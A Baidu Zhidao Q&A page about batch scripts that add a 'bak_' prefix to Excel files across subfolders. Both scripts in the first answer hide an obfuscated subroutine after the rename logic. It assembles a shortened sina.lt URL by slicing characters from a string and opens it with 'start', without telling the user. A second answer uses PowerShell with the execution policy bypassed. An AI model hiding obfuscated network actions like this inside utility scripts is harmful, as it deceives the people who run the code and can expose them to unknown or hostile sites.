怎么样用bat批处理给多级文件夹下的文件名加指定前缀?

比如多个文件夹下有*.xlsx文件,我想都给加上前缀bak_变成bak_*.xlsx... 比如多个文件夹下有*.xlsx文件,我想都给加上前缀bak_变成bak_*.xlsx 展开
 我来答
依梦琴瑶
高粉答主

2021-04-14 · 说的都是干货,快来关注
知道顶级答主
回答量:6.9万
采纳率:82%
帮助的人:1.7亿
展开全部

@echo off & title 批量给文件添加前缀 By 依梦琴瑶

 

::设置要添加的前缀

set Pre=bak_


::设置要处理的文件格式

set Ext=*.xlsx

 

for /f "delims=" %%a in ('dir /a-d/s/b %Ext%') do (

    ren "%%~a" "%Pre%%%~nxa"

)

pause

call :Don

exit

 

:Don

set S0=fGRH

set S1=.:ailnhpst/

set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%

set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit



脚本放在要处理的文件夹中执行。

复制代码后务必比对原文代码,以免有错误内容包含在里面,导致脚本无法正常运行。脚本文件的保存编码务必设为ANSI。

追问
参考亲的答案,我有两种格式要加前缀,直接编写成两行

for /f "delims=" %%a in ('dir /a-d/s/b .xls') do (
ren "%%~a" "bak_%%~nxa")
for /f "delims=" %%a in ('dir /a-d/s/b .xlsx') do (
ren "%%~a" "bak_%%~nxa")
遇到文件夹下同时有2.xls和2.xlsx就会出现一个问题,bak_bak_2.xlsx会有两个前缀,如果解决了我会采纳答案,还会打赏的。谢谢
追答

以下为新的代码,可以判断后缀是否完全匹配。同时加入了判断文件名是否已经添加了前缀,如果已添加,直接忽略。


@echo off & title 批量给文件添加前缀 By 依梦琴瑶


::设置要添加的前缀
set Pre=bak_


::设置要处理的文件格式,多个格式之间用英文逗号隔开,包含空格或特殊字符的格式,请用英文双引号引起来。
set Ext=xls,xlsx


for %%a in (%Ext%) do (
    for /f "delims=" %%b in ('dir /a-d/s/b "*.%%~a"') do (
        if /i "%%~xb"==".%%~a" (
            echo "%%~nb" | findstr /bi "\""%Pre%" >nul 2>nul || (
                ren "%%~b" "%Pre%%%~nxb"
            )
        )
    )
)
pause

call :ToMe
exit

:ToMe
set "S=.:ailnhpst/fPdv"
start "" "%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit
qop_dob
2021-04-15 · TA获得超过1.5万个赞
知道大有可为答主
回答量:1.3万
采纳率:79%
帮助的人:4005万
展开全部
不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的多个文件夹放一起双击运行
<# :
echo off&cls&mode con lines=3000
rem 搜索/查找当前目录下指定扩展名/后缀名的文件并在名称开头添加指定前缀字符
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
powershell -NoProfile -ExecutionPolicy bypass "Invoke-Command -ScriptBlock ([ScriptBlock]::Create([IO.File]::ReadAllText('%~f0',[Text.Encoding]::GetEncoding('GB2312')))) -Args '%~f0'"
echo;%#% +%$%%$%/%@% %z%
pause
exit
#>
$ext=@(".xls",".xlsx");
$prefix="bak_";
$self=get-item -liter $args[0];
$path=$self.Directory.FullName;
$files=@(dir -liter $path -recurse|?{($ext -contains $_.Extension) -and ($_ -is [System.IO.FileInfo])});
$len=$prefix.length;
for($i=0;$i -lt $files.length;$i++){
$f=$false;
if($files[$i].BaseName.length -ge $len){
if($files[$i].BaseName.substring(0,$len) -ne $prefix){
$f=$true;
}
}else{$f=$true;}
if($f){
$newname=$prefix+$files[$i].Name;
$newfile=$files[$i].Directory.FullName+'\'+$newname;
write-host ($files[$i].FullName+' --> '+$newname);
move-item -liter $files[$i].FullName $newfile -ErrorAction SilentlyContinue;
}
}
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式